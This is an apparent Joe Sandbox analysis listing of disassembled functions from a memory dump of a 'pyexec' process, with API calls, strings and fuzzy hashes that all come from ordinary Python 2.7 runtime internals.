API ID: Thread$Eval_$CompareCurrentExchangeInterlockedRestoreSaveThread_allocate_lock
String ID:
API String ID: 3700328054-0
Opcode ID: f83324b8c8338f746e142a938e88cc92e548c295cf4b309329958532f68d189a
Instruction ID: 4b877c568ff665ce0fec4ab24683472fc2efd144d2475d11e830755e83d2f24d
Opcode Fuzzy Hash: f83324b8c8338f746e142a938e88cc92e548c295cf4b309329958532f68d189a
Instruction Fuzzy Hash: 1A01B975B0070596EF1057759C987AA32786B7633CF24072DF422C2AC1E77EC0668B93

Function 6C154170 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 149COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E5D10,can't unpack IEEE 754 special value on non-IEEE platform), ref: 6C1541DE
ldexp.MSVCR90 ref: 6C15427F

Strings

can't unpack IEEE 754 special value on non-IEEE platform, xrefs: 6C1541D8

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Stringldexp
String ID: can't unpack IEEE 754 special value on non-IEEE platform
API String ID: 1642531332-26340962
Opcode ID: b00a08abd208140987121f434a6c25346e8614941864c923269ed34b868d7b67
Instruction ID: b0ec093eb7f23835a7ee1922692ccab81df0f371847ccc1eee98d336a0594e99
Opcode Fuzzy Hash: b00a08abd208140987121f434a6c25346e8614941864c923269ed34b868d7b67
Instruction Fuzzy Hash: DD415E72B086244BD7048F2AD854669BFF1EFCE329F49466DFDA9977A1CA30C424C781

Function 6C1D0780 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

__iob_func.MSVCR90 ref: 6C1D079C
fprintf.MSVCR90 ref: 6C1D07A6

Strings

PyThreadState_Clear: warning: thread still has a frame, xrefs: 6C1D0797

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: __iob_funcfprintf
String ID: PyThreadState_Clear: warning: thread still has a frame
API String ID: 620453056-874985626
Opcode ID: 5631a3c5b76763fa94b15ab9f43bad051f0e4e4ab98e0335c287fb76c419ad4d
Instruction ID: 114f713cdae07101c259863975000cb865ba80c13defb7d5a1dbd4fae7557f88
Opcode Fuzzy Hash: 5631a3c5b76763fa94b15ab9f43bad051f0e4e4ab98e0335c287fb76c419ad4d
Instruction Fuzzy Hash: AE512C70E00A408FC610DF69D88485A77B5BF953387378B58D5AA8BE94D735FC92CB90

Function 6C154050 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E5D10,can't unpack IEEE 754 special value on non-IEEE platform), ref: 6C1540B0
ldexp.MSVCR90 ref: 6C154106

Strings

can't unpack IEEE 754 special value on non-IEEE platform, xrefs: 6C1540AA

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Stringldexp
String ID: can't unpack IEEE 754 special value on non-IEEE platform
API String ID: 1642531332-26340962
Opcode ID: 9af7485a56403e8e8486802a064e147de9be728e47bfe9170fdca30191a26f19
Instruction ID: 436c2de76ec9c20401704f23bc027bc63643ef722e5378fe7254e902899e17b3
Opcode Fuzzy Hash: 9af7485a56403e8e8486802a064e147de9be728e47bfe9170fdca30191a26f19
Instruction Fuzzy Hash: 64318F73F091149BC7008E29D8846A6BBB4EB9732DF548769FDB8C7691D631D434CB81

Function 6C1796C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 82COMMON

Download Yara Rule

Strings

dQ1l, xrefs: 6C17970B
dh-l, xrefs: 6C1796C3, 6C179730, 6C179772

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID:
String ID: dQ1l$dh-l
API String ID: 0-1955108154
Opcode ID: 148cc2dbd2a91d854dc2e8905500735ae82c12d3847674bcb7109689b15a6243
Instruction ID: cb3ffbd7934f166aafb8b3760b1172b35e376bd0e5e8a0ec451419223e0d0746
Opcode Fuzzy Hash: 148cc2dbd2a91d854dc2e8905500735ae82c12d3847674bcb7109689b15a6243
Instruction Fuzzy Hash: 4C2198726012048FDB24CF59E8D0B9673A8FB54328F16417AE94D8BA51D336E88ACF61

Function 6C0B7D40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

_PyArg_ParseTupleAndKeywords_SizeT.PYTHON27(?,?,|O:groups,6C30A204,?), ref: 6C0B7D63
PyTuple_New.PYTHON27(?), ref: 6C0B7D83

Strings

|O:groups, xrefs: 6C0B7D55

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Arg_Keywords_ParseSizeTupleTuple_
String ID: |O:groups
API String ID: 839320981-1302304481
Opcode ID: e1820eaf1607a758f8014cd01f0d49392ae2dc8bcbae97f551f630f450ee5296
Instruction ID: f48b5085ed15e12e9a7417cdbee3837d5802ed51c6fd0be36b48ce229450602b
Opcode Fuzzy Hash: e1820eaf1607a758f8014cd01f0d49392ae2dc8bcbae97f551f630f450ee5296
Instruction Fuzzy Hash: B5119A75B00109ABDB00DA5DED40AEAB7FDEF44268F1442A5ED0897B00E732ED15C7E1

Function 6C0A86F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(heap argument must be a list), ref: 6C0A8712
PyErr_SetObject.PYTHON27(6C2E48B0,00000000,heap argument must be a list), ref: 6C0A871B

Strings

heap argument must be a list, xrefs: 6C0A870D

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_FromObjectStringString_
String ID: heap argument must be a list
API String ID: 1840871587-325666163
Opcode ID: ff94819948d61225386784b05fca17f41310704abebcf7af6517bee1ba9fe4f8
Instruction ID: c1002a5e93f932f4a8376d61a1289cb4de351a1e2c660fd58f37135d8e3d493b
Opcode Fuzzy Hash: ff94819948d61225386784b05fca17f41310704abebcf7af6517bee1ba9fe4f8
Instruction Fuzzy Hash: 78012833E01A101BC21085BD98046AEB3E8DB86238B150357EC38D7FD1E731ED1792C1

Function 6C0B0820 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

PyObject_CallFunction.PYTHON27(6C311A50,((Olldd)),?,?,?), ref: 6C0B085F

Part of subcall function 6C12F1F0: PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine), ref: 6C12F217

PyList_Append.PYTHON27(?,00000000), ref: 6C0B087B

Strings

((Olldd)), xrefs: 6C0B0855

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: AppendCallErr_FunctionList_Object_String
String ID: ((Olldd))
API String ID: 1113355727-2573867300
Opcode ID: 35dc4fb9e6d6207c0453b8fddae387633517bba73b9685dac6e74a9ac9b85908
Instruction ID: 5f2eda61d54a1b7c818d9cac21ff17fe26e177d9bd4f067e8031b062528e1f05
Opcode Fuzzy Hash: 35dc4fb9e6d6207c0453b8fddae387633517bba73b9685dac6e74a9ac9b85908
Instruction Fuzzy Hash: AB0104B2A049105FC3009E19ED0185677E8EB84334B114794EC68877A0EB31E865C7D2

Function 6C0A9820 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

memcpy.MSVCR90(?,?), ref: 6C0A9898

Part of subcall function 6C0A9700: fwrite.MSVCR90 ref: 6C0A971E
Part of subcall function 6C0A9700: fflush.MSVCR90 ref: 6C0A9742

PyErr_SetString.PYTHON27(6C2E5D10,string too large for internal buffer), ref: 6C0A985A

Strings

string too large for internal buffer, xrefs: 6C0A9854

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Stringfflushfwritememcpy
String ID: string too large for internal buffer
API String ID: 1502676727-55190435
Opcode ID: bcb20225ae71c92805d43737a38746033e48be8ffeafd85adf632950e6c30a17
Instruction ID: fa5ed483f20081c233aa51d219c77864536b678be344c919a9693c3e3fbdd602
Opcode Fuzzy Hash: bcb20225ae71c92805d43737a38746033e48be8ffeafd85adf632950e6c30a17
Instruction Fuzzy Hash: 9401F1B5602B054BD728CEE4D884EA7B3F8FF44218B104B2DD45B87E42E722F50AC7A0

Function 6C0B68A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 6C0B87C0: _PyArg_ParseTuple_SizeT.PYTHON27(?,O|nn:scanner,?,?,?), ref: 6C0B87E8

PyObject_GetAttrString.PYTHON27(00000000,search), ref: 6C0B68C4

Strings

search, xrefs: 6C0B68BE

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Arg_AttrObject_ParseSizeStringTuple_
String ID: search
API String ID: 994136497-3035683751
Opcode ID: b45d86a5214711053c4603633f135653faec3184919332d7a70410e0519e3e68
Instruction ID: 6c105cb927e88af33fcdf3a385ccdb36c1b6e34ec6f1b39cb43e601bb80b2220
Opcode Fuzzy Hash: b45d86a5214711053c4603633f135653faec3184919332d7a70410e0519e3e68
Instruction Fuzzy Hash: 3B01D6B664020527C714DA69AC00D9B33EA9BC42797194339ED2CD7B40E736ED5786E1

Function 6C1C54D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Python\getargs.c,000005C1,?,?,?,?), ref: 6C1C5543

Strings

%s:%d: bad argument to internal function, xrefs: 6C1C553D
..\Python\getargs.c, xrefs: 6C1C5538

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %s:%d: bad argument to internal function$..\Python\getargs.c
API String ID: 376477240-2001156345
Opcode ID: 50dea792df842de57f3e6a61c7af11aa1d676c6ae9e59df202334a407c6ef9e7
Instruction ID: 022437e747fbbc5bb1449ce8579f1dff2f03d8b3c6c9bb0190c707fe740e305e
Opcode Fuzzy Hash: 50dea792df842de57f3e6a61c7af11aa1d676c6ae9e59df202334a407c6ef9e7
Instruction Fuzzy Hash: 4701F9B67022049BEB00CD94EC41FEB7369DBA0618F10864DBC285B680E634E556DBD2

Function 6C1C5560 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Python\getargs.c,000005D9,?,?), ref: 6C1C55D3

Strings

%s:%d: bad argument to internal function, xrefs: 6C1C55CD
..\Python\getargs.c, xrefs: 6C1C55C8

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %s:%d: bad argument to internal function$..\Python\getargs.c
API String ID: 376477240-2001156345
Opcode ID: c1a1cc9768323533dfb8e4de48b060141199bfa0a975cc96689aac530ca8b452
Instruction ID: 1214e5f4c537f694dfbb1a5f3bb0a1b00accac0fec103c6d41524ced575ca8ef
Opcode Fuzzy Hash: c1a1cc9768323533dfb8e4de48b060141199bfa0a975cc96689aac530ca8b452
Instruction Fuzzy Hash: 1401F9767022049BD700CE94D801FEB73699BA0614F40868EBC285BA80E734D555DBD2

Function 6C1304E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(buffer object expected), ref: 6C130522
PyErr_SetObject.PYTHON27(6C2E48B0,00000000,buffer object expected), ref: 6C13052B

Strings

buffer object expected, xrefs: 6C13051D

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_FromObjectStringString_
String ID: buffer object expected
API String ID: 1840871587-3871874642
Opcode ID: ae594c80af425be9de9b37bb818a9ca39140e0bc73e02975831cac76c3cf21a8
Instruction ID: 9d0fde41e79fe0c0576b79e778d8e7c7581bfd757589a23b0348b48f5a0b5443
Opcode Fuzzy Hash: ae594c80af425be9de9b37bb818a9ca39140e0bc73e02975831cac76c3cf21a8
Instruction Fuzzy Hash: CF018F76A011589BDB10CA58E844BEB73E4AB5523CF198365EC2C8BB80E731EC51C7E2

Function 6C0B0170 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

PyString_FromFormat.PYTHON27(<%s.%s>,__builtin__,__builtin__), ref: 6C0B0215

Strings

<%s.%s>, xrefs: 6C0B0210
__builtin__, xrefs: 6C0B01D3, 6C0B020E, 6C0B020F

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: FormatFromString_
String ID: <%s.%s>$__builtin__
API String ID: 889485569-3882505159
Opcode ID: 4ad9fb919ac150305e0d90460d22d192f0f5cd7f183d3a5c3d74212f0fac9307
Instruction ID: a6dc9b07c27d64e90141ca857ceac9c04a28d2fb76cac6e8f6092ac0d25a8c01
Opcode Fuzzy Hash: 4ad9fb919ac150305e0d90460d22d192f0f5cd7f183d3a5c3d74212f0fac9307
Instruction Fuzzy Hash: EB01F5F174FAC04BD319CA2497607A2B7E2BB41B4CB188698DCA66BE01D332E854C380

Function 6C1B4590 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E63F8,string is too large,6C0A157A,?,6C1B4656), ref: 6C1B45B5
PyString_FromStringAndSize.PYTHON27(00000000,6C0A157B,6C0A157A,?,6C1B4656), ref: 6C1B45C5

Strings

string is too large, xrefs: 6C1B45AF

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: String$Err_FromSizeString_
String ID: string is too large
API String ID: 2119762567-3191399733
Opcode ID: 82472e6eb00fb4e8f5160a94880a109dc7c8ef034eb808fd3f957f4dc92b0761
Instruction ID: 18bd14ed5df7862a289d86b4de0239b801015830d6dc6c0ccafdc28da1d376dd
Opcode Fuzzy Hash: 82472e6eb00fb4e8f5160a94880a109dc7c8ef034eb808fd3f957f4dc92b0761
Instruction Fuzzy Hash: DEF07D37E0856586C702993E7A547C13B995B6732DF098365EC94EBB92E930C00C89A1

Function 6C12F750 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine), ref: 6C12F770
PyObject_Call.PYTHON27(00000000,00000000,00000000,?,00000000,?,6C12B1D5), ref: 6C12F796

Part of subcall function 6C12F070: _Py_CheckRecursiveCall.PYTHON27( while calling a Python object,00000001,?,?,6C1B2AB3,00000000,?,6C100E50), ref: 6C12F0A5
Part of subcall function 6C12F070: PyErr_SetString.PYTHON27(6C2E65C8,NULL result without error in PyObject_Call,?,00000000,00000000), ref: 6C12F0E4

Strings

null argument to internal routine, xrefs: 6C12F76A

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: CallErr_String$CheckObject_Recursive
String ID: null argument to internal routine
API String ID: 2045816541-2212441169
Opcode ID: f2b9a2df780f01cf92d5aee0851388c7dfab8d1b306e8915d7dc5543e823dd64
Instruction ID: 6e1e6e1e3a552717f67e5814e46162a25500f7afb18b3ff18e42739052edbf50
Opcode Fuzzy Hash: f2b9a2df780f01cf92d5aee0851388c7dfab8d1b306e8915d7dc5543e823dd64
Instruction Fuzzy Hash: 6BF0C87E6001246BC7149A95EC44FC633A9DB85379F144324E96C8BB50D738D984CBD0

Function 6C0A58A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

PyObject_Malloc.PYTHON27(00000016), ref: 6C0A58CA

Strings

h-l, xrefs: 6C0A58E5

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
